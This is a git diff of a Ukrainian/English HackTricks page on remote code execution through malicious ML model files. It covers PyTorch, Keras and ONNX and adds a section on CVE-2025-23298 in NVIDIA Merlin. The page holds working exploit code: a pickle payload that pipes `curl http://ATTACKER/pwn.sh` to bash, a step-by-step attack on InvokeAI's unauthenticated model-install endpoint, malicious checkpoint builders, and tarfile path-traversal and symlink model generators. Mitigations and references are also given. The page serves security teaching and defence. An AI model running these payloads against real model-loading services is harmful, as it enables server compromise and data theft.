diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md
index 9c28f5056..7ed391593 100644
--- a/src/AI/AI-Models-RCE.md
+++ b/src/AI/AI-Models-RCE.md
@@ -1,45 +1,46 @@
-# Models RCE
+# RCE моделей
{{#include ../banners/hacktricks-training.md}}
## Завантаження моделей для RCE
-Моделі машинного навчання зазвичай поширюються в різних форматах, таких як ONNX, TensorFlow, PyTorch тощо. Ці моделі можуть бути завантажені на комп'ютери розробників або в продуктивні системи для їх використання. Зазвичай моделі не повинні містити шкідливий код, але є випадки, коли модель може бути використана для виконання довільного коду в системі як передбачена функція або через вразливість у бібліотеці завантаження моделі.
+Machine Learning моделі зазвичай поширюються в різних форматах, таких як ONNX, TensorFlow, PyTorch тощо. Ці моделі можуть бути завантажені на машини розробників або в production-системи для використання. Зазвичай моделі не повинні містити шкідливого коду, але є випадки, коли модель може бути використана для виконання довільного коду в системі як задумана функція або через вразливість у бібліотеці завантаження моделі.
-На момент написання це деякі приклади такого типу вразливостей:
+На момент написання ось кілька прикладів такого типу вразливостей:
-| **Фреймворк / Інструмент** | **Вразливість (CVE, якщо доступно)** | **Вектор RCE** | **Посилання** |
-|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
-| **PyTorch** (Python) | *Небезпечна десеріалізація в* `torch.load` **(CVE-2025-32434)** | Шкідливий pickle в контрольній точці моделі призводить до виконання коду (обхід захисту `weights_only`) | |
-| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + завантаження шкідливої моделі викликає виконання коду; десеріалізація Java RCE в API управління | |
-| **TensorFlow/Keras** | **CVE-2021-37678** (небезпечний YAML)
**CVE-2024-3660** (Keras Lambda) | Завантаження моделі з YAML використовує `yaml.unsafe_load` (виконання коду)
Завантаження моделі з **Lambda** шаром виконує довільний Python код | |
-| TensorFlow (TFLite) | **CVE-2022-23559** (парсинг TFLite) | Сформована модель `.tflite` викликає переповнення цілого числа → пошкодження купи (потенційний RCE) | |
-| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Завантаження моделі через `joblib.load` виконує pickle з навантаженням `__reduce__` зловмисника | |
-| **NumPy** (Python) | **CVE-2019-6446** (небезпечний `np.load`) *суперечка* | `numpy.load` за замовчуванням дозволяє завантаження об'єктних масивів – шкідливий `.npy/.npz` викликає виконання коду | |
-| **ONNX / ONNX Runtime** | **CVE-2022-25882** (перехід директорії)
**CVE-2024-5187** (перехід tar) | Зовнішній шлях ваг моделі ONNX може вийти за межі директорії (читання довільних файлів)
Шкідлива модель ONNX tar може перезаписати довільні файли (призводячи до RCE) | |
-| ONNX Runtime (ризик дизайну)| *(Немає CVE)* Користувацькі операції ONNX / контрольний потік | Модель з користувацьким оператором вимагає завантаження рідного коду зловмисника; складні графи моделей зловживають логікою для виконання непередбачених обчислень | |
-| **NVIDIA Triton Server** | **CVE-2023-31036** (перехід шляху) | Використання API завантаження моделі з увімкненим `--model-control` дозволяє відносний перехід шляху для запису файлів (наприклад, перезапис `.bashrc` для RCE) | |
-| **GGML (формат GGUF)** | **CVE-2024-25664 … 25668** (багато переповнень купи) | Неправильний файл моделі GGUF викликає переповнення буфера купи в парсері, що дозволяє виконання довільного коду на системі жертви | |
-| **Keras (старі формати)** | *(Немає нових CVE)* Спадковий Keras H5 модель | Шкідлива HDF5 (`.h5`) модель з кодом Lambda шару все ще виконується при завантаженні (режим безпеки Keras не охоплює старий формат – “атака з пониженням”) | |
-| **Інші** (загальні) | *Недолік дизайну* – серіалізація Pickle | Багато інструментів ML (наприклад, формати моделей на основі pickle, Python `pickle.load`) виконуватимуть довільний код, вбудований у файли моделей, якщо не вжити заходів | |
+| **Фреймворк / Інструмент** | **Вразливість (CVE, якщо доступний)** | **Вектор RCE** | **Посилання** |
+|-----------------------------|---------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
+| **PyTorch** (Python) | *Небезпечна десеріалізація у* `torch.load` **(CVE-2025-32434)** | Шкідливий pickle у контрольній точці моделі призводить до виконання коду (обхід захисту `weights_only`) | |
+| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + завантаження шкідливої моделі призводить до виконання коду; Java десеріалізація RCE в management API | |
+| **NVIDIA Merlin Transformers4Rec** | Небезпечна десеріалізація чекпойнта через `torch.load` **(CVE-2025-23298)** | Недовірений чекпойнт викликає pickle reducer під час `load_model_trainer_states_from_checkpoint` → виконання коду в ML worker | [ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/) |
+| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML)
**CVE-2024-3660** (Keras Lambda) | Завантаження моделі з YAML використовує `yaml.unsafe_load` (виконання коду)
Завантаження моделі з шаром **Lambda** запускає довільний Python-код | |
+| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Спеціально сформована `.tflite` модель викликає переповнення цілого числа → корупція купи (потенційний RCE) | |
+| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Завантаження моделі через `joblib.load` виконує pickle з payload нападника через `__reduce__` | |
+| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load` за замовчуванням дозволяв масиви з pickled-об'єктами – шкідливі `.npy/.npz` викликають виконання коду | |
+| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal)
**CVE-2024-5187** (tar traversal) | Шлях до зовнішніх ваг ONNX-моделі може вийти за межі директорії (читання довільних файлів)
Шкідливий tar ONNX-моделі може перезаписати довільні файли (що може призвести до RCE) | |
+| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | Модель з кастомним оператором може вимагати завантаження нативного коду нападника; складні графи моделей зловживають логікою для виконання небажаних обчислень | |
+| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | Використання model-load API з увімкненим `--model-control` дозволяє відносний path traversal для запису файлів (наприклад, перезапис `.bashrc` для RCE) | |
+| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | Зіпсований GGUF файл моделі викликає переповнення буфера купи в парсері, що дозволяє виконання довільного коду на системі жертви | |
+| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Шкідлива HDF5 (`.h5`) модель зі кодом у Lambda-шарі все ще виконується при завантаженні (Keras safe_mode не покриває старий формат – “downgrade attack”) | |
+| **Others** (general) | *Дизайнерська помилка* – Pickle serialization | Багато ML-інструментів (наприклад, формати моделей на основі pickle, Python `pickle.load`) виконуватимуть довільний код, вкладений у файли моделі, якщо не вжито заходів | |
-Більше того, є деякі моделі на основі python pickle, такі як ті, що використовуються [PyTorch](https://github.com/pytorch/pytorch/security), які можуть бути використані для виконання довільного коду в системі, якщо їх не завантажити з `weights_only=True`. Отже, будь-яка модель на основі pickle може бути особливо вразливою до цього типу атак, навіть якщо вони не вказані в таблиці вище.
+Крім того, існують деякі моделі на основі python pickle, як-от ті, що використовуються [PyTorch](https://github.com/pytorch/pytorch/security), які можуть бути використані для виконання довільного коду в системі, якщо їх не завантажувати з `weights_only=True`. Отже, будь-яка модель на основі pickle може бути особливо вразливою до цього типу атак, навіть якщо вона не вказана в таблиці вище.
-### 🆕 InvokeAI RCE через `torch.load` (CVE-2024-12029)
+### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
-`InvokeAI` – це популярний відкритий веб-інтерфейс для Stable-Diffusion. Версії **5.3.1 – 5.4.2** відкривають REST-інтерфейс `/api/v2/models/install`, який дозволяє користувачам завантажувати та завантажувати моделі з довільних URL.
+`InvokeAI` — популярний open-source веб-інтерфейс для Stable-Diffusion. Версії **5.3.1 – 5.4.2** відкривають REST-ендпоінт `/api/v2/models/install`, який дозволяє користувачам завантажувати моделі з довільних URL та завантажувати їх у систему.
-Внутрішньо цей інтерфейс врешті-решт викликає:
+Внутрішньо ендпоінт врешті викликає:
```python
checkpoint = torch.load(path, map_location=torch.device("meta"))
```
-Коли наданий файл є **PyTorch checkpoint (`*.ckpt`)**, `torch.load` виконує **десеріалізацію pickle**. Оскільки вміст надходить безпосередньо з URL, контрольованого користувачем, зловмисник може вбудувати шкідливий об'єкт з користувацьким методом `__reduce__` всередину контрольної точки; метод виконується **під час десеріалізації**, що призводить до **віддаленого виконання коду (RCE)** на сервері InvokeAI.
+Коли наданий файл є **PyTorch checkpoint (`*.ckpt`)**, `torch.load` виконує **десеріалізацію pickle**. Оскільки вміст надходить безпосередньо з URL, що контролюється користувачем, атакувальник може вбудувати у checkpoint шкідливий об'єкт з користувацьким методом `__reduce__`; цей метод виконується **під час десеріалізації**, що призводить до **remote code execution (RCE)** на сервері InvokeAI.
-Вразливість була присвоєна **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
+Уразливості присвоєно **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
-#### Процес експлуатації
+#### Покрокова інструкція з експлуатації
-1. Створіть шкідливу контрольну точку:
+1. Створіть шкідливий checkpoint:
```python
# payload_gen.py
import pickle, torch, os
@@ -51,8 +52,8 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
```
-2. Розмістіть `payload.ckpt` на HTTP-сервері, яким ви керуєте (наприклад, `http://ATTACKER/payload.ckpt`).
-3. Викличте вразливу точку доступу (автентифікація не потрібна):
+2. Розмістіть `payload.ckpt` на HTTP-сервері, який ви контролюєте (наприклад, `http://ATTACKER/payload.ckpt`).
+3. Викличте вразливий endpoint (аутентифікація не потрібна):
```python
import requests
@@ -67,36 +68,79 @@ json={}, # body can be empty
timeout=5,
)
```
-4. Коли InvokeAI завантажує файл, він викликає `torch.load()` → гаджет `os.system` запускається, і зловмисник отримує виконання коду в контексті процесу InvokeAI.
+4. Коли InvokeAI завантажує файл, він викликає `torch.load()` → gadget `os.system` запускається і атакуючий отримує виконання коду в контексті процесу InvokeAI.
-Готовий експлойт: **Metasploit** модуль `exploit/linux/http/invokeai_rce_cve_2024_12029` автоматизує весь процес.
+Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` автоматизує весь процес.
-#### Умови
+#### Conditions
-• InvokeAI 5.3.1-5.4.2 (прапор сканування за замовчуванням **false**)
-• `/api/v2/models/install` доступний для зловмисника
-• Процес має дозволи на виконання команд оболонки
+• InvokeAI 5.3.1-5.4.2 (scan flag default **false**)
+• `/api/v2/models/install` доступний для атакуючого
+• Процес має дозволи на виконання shell-команд
-#### Заходи безпеки
+#### Mitigations
-* Оновіть до **InvokeAI ≥ 5.4.3** – патч за замовчуванням встановлює `scan=True` і виконує сканування на наявність шкідливого ПЗ перед десеріалізацією.
-* При програмному завантаженні контрольних точок використовуйте `torch.load(file, weights_only=True)` або новий [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) допоміжний засіб.
-* Впровадьте списки дозволених / підписи для джерел моделей і запускайте сервіс з найменшими привілеями.
+* Upgrade to **InvokeAI ≥ 5.4.3** – патч встановлює `scan=True` за замовчуванням і виконує сканування на malware перед десеріалізацією.
+* When loading checkpoints programmatically use `torch.load(file, weights_only=True)` or the new [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
+* Enforce allow-lists / signatures для джерел моделей і запускайте сервіс з мінімальними привілеями.
-> ⚠️ Пам'ятайте, що **будь-який** формат на основі Python pickle (включаючи багато файлів `.pt`, `.pkl`, `.ckpt`, `.pth`) є вкрай небезпечним для десеріалізації з ненадійних джерел.
+> ⚠️ Пам'ятайте, що **будь-який** Python pickle-based формат (включаючи багато `.pt`, `.pkl`, `.ckpt`, `.pth` файлів) за своєю суттю небезпечний для десеріалізації з ненадійних джерел.
---
-Приклад ад-хок заходу безпеки, якщо ви повинні підтримувати старі версії InvokeAI за зворотним проксі:
+Example of an ad-hoc mitigation if you must keep older InvokeAI versions running behind a reverse proxy:
```nginx
location /api/v2/models/install {
deny all; # block direct Internet access
allow 10.0.0.0/8; # only internal CI network can call it
}
```
-## Приклад – створення шкідливого моделі PyTorch
+### 🆕 NVIDIA Merlin Transformers4Rec RCE через небезпечний `torch.load` (CVE-2025-23298)
-- Створіть модель:
+NVIDIA’s Transformers4Rec (частина Merlin) містив небезпечний завантажувач checkpoint, який безпосередньо викликав `torch.load()` для шляхів, наданих користувачем. Оскільки `torch.load` покладається на Python `pickle`, контрольований атакуючим checkpoint може виконати довільний код через reducer під час десеріалізації.
+
+Уразливий шлях (до виправлення): `transformers4rec/torch/trainer/trainer.py` → `load_model_trainer_states_from_checkpoint(...)` → `torch.load(...)`.
+
+Чому це призводить до RCE: У Python `pickle` об'єкт може визначити reducer (`__reduce__`/`__setstate__`), який повертає викликний об'єкт і аргументи. Цей виклик виконується під час unpickling. Якщо такий об'єкт присутній у checkpoint, він виконається до використання будь-яких ваг.
+
+Мінімальний приклад шкідливого checkpoint:
+```python
+import torch
+
+class Evil:
+def __reduce__(self):
+import os
+return (os.system, ("id > /tmp/pwned",))
+
+# Place the object under a key guaranteed to be deserialized early
+ckpt = {
+"model_state_dict": Evil(),
+"trainer_state": {"epoch": 10},
+}
+
+torch.save(ckpt, "malicious.ckpt")
+```
+Delivery vectors and blast radius:
+- Trojanized checkpoints/models shared via repos, buckets, or artifact registries
+- Automated resume/deploy pipelines that auto-load checkpoints
+- Execution happens inside training/inference workers, often with elevated privileges (e.g., root in containers)
+
+Fix: Commit [b7eaea5](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903) (PR #802) replaced the direct `torch.load()` with a restricted, allow-listed deserializer implemented in `transformers4rec/utils/serialization.py`. The new loader validates types/fields and prevents arbitrary callables from being invoked during load.
+
+Defensive guidance specific to PyTorch checkpoints:
+- Do not unpickle untrusted data. Prefer non-executable formats like [Safetensors](https://huggingface.co/docs/safetensors/index) or ONNX when possible.
+- If you must use PyTorch serialization, ensure `weights_only=True` (supported in newer PyTorch) or use a custom allow-listed unpickler similar to the Transformers4Rec patch.
+- Enforce model provenance/signatures and sandbox deserialization (seccomp/AppArmor; non-root user; restricted FS and no network egress).
+- Monitor for unexpected child processes from ML services at checkpoint load time; trace `torch.load()`/`pickle` usage.
+
+POC and vulnerable/patch references:
+- Vulnerable pre-patch loader: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js
+- Malicious checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js
+- Post-patch loader: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js
+
+## Приклад — створення шкідливої моделі PyTorch
+
+- Створити модель:
```python
# attacker_payload.py
import torch
@@ -113,7 +157,7 @@ malicious_state = {"fc.weight": MaliciousPayload()}
# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
```
-- Завантажте модель:
+- Завантажити модель:
```python
# victim_load.py
import torch
@@ -131,11 +175,11 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
# /tmp/pwned.txt is created even if you get an error
```
-## Моделі для обходу шляхів
+## Моделі для Path Traversal
-Як зазначено в [**цьому блозі**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), більшість форматів моделей, що використовуються різними AI фреймворками, базуються на архівах, зазвичай `.zip`. Тому може бути можливим зловживати цими форматами для виконання атак обходу шляхів, що дозволяє читати довільні файли з системи, де завантажується модель.
+Як зазначено в [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), більшість форматів моделей, які використовуються різними AI-фреймворками, базуються на архівах, зазвичай `.zip`. Тому може бути можливо зловживати цими форматами для здійснення path traversal attacks, що дозволяє читати довільні файли із системи, де модель завантажується.
-Наприклад, за допомогою наступного коду ви можете створити модель, яка створить файл у каталозі `/tmp`, коли буде завантажена:
+Наприклад, з наступним кодом ви можете створити модель, яка створить файл у каталозі `/tmp` під час завантаження:
```python
import tarfile
@@ -146,7 +190,7 @@ return member
with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)
```
-Або, за допомогою наступного коду, ви можете створити модель, яка створить symlink до каталогу `/tmp`, коли буде завантажена:
+Або, з наведеним нижче кодом ви можете створити модель, яка при завантаженні створить symlink до каталогу `/tmp`:
```python
import tarfile, pathlib
@@ -161,9 +205,10 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD) # rides the symlink
```
-### Глибоке занурення: десеріалізація .keras та пошук гаджетів
+### Глибоке занурення: Keras .keras десеріалізація та gadget hunting
+
+Для сфокусованого керівництва щодо .keras internals, Lambda-layer RCE, the arbitrary import issue in ≤ 3.8, та post-fix gadget discovery inside the allowlist, дивіться:
-Для детального посібника з внутрішньої роботи .keras, RCE Lambda-layer, проблеми довільного імпорту в ≤ 3.8 та виявлення гаджетів після виправлення в allowlist, дивіться:
{{#ref}}
../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
@@ -171,9 +216,16 @@ tf.add(PAYLOAD) # rides the symlink
## Посилання
-- [OffSec blog – "CVE-2024-12029 – InvokeAI десеріалізація ненадійних даних"](https://www.offsec.com/blog/cve-2024-12029/)
-- [Коміт патчу InvokeAI 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
-- [Документація модуля Rapid7 Metasploit](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
-- [PyTorch – питання безпеки для torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
+- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
+- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
+- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
+- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
+- [ZDI blog – CVE-2025-23298 Getting Remote Code Execution in NVIDIA Merlin](https://www.thezdi.com/blog/2025/9/23/cve-2025-23298-getting-remote-code-execution-in-nvidia-merlin)
+- [ZDI advisory: ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/)
+- [Transformers4Rec patch commit b7eaea5 (PR #802)](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903)
+- [Pre-patch vulnerable loader (gist)](https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js)
+- [Malicious checkpoint PoC (gist)](https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js)
+- [Post-patch loader (gist)](https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js)
+- [Hugging Face Transformers](https://github.com/huggingface/transformers)
{{#include ../banners/hacktricks-training.md}}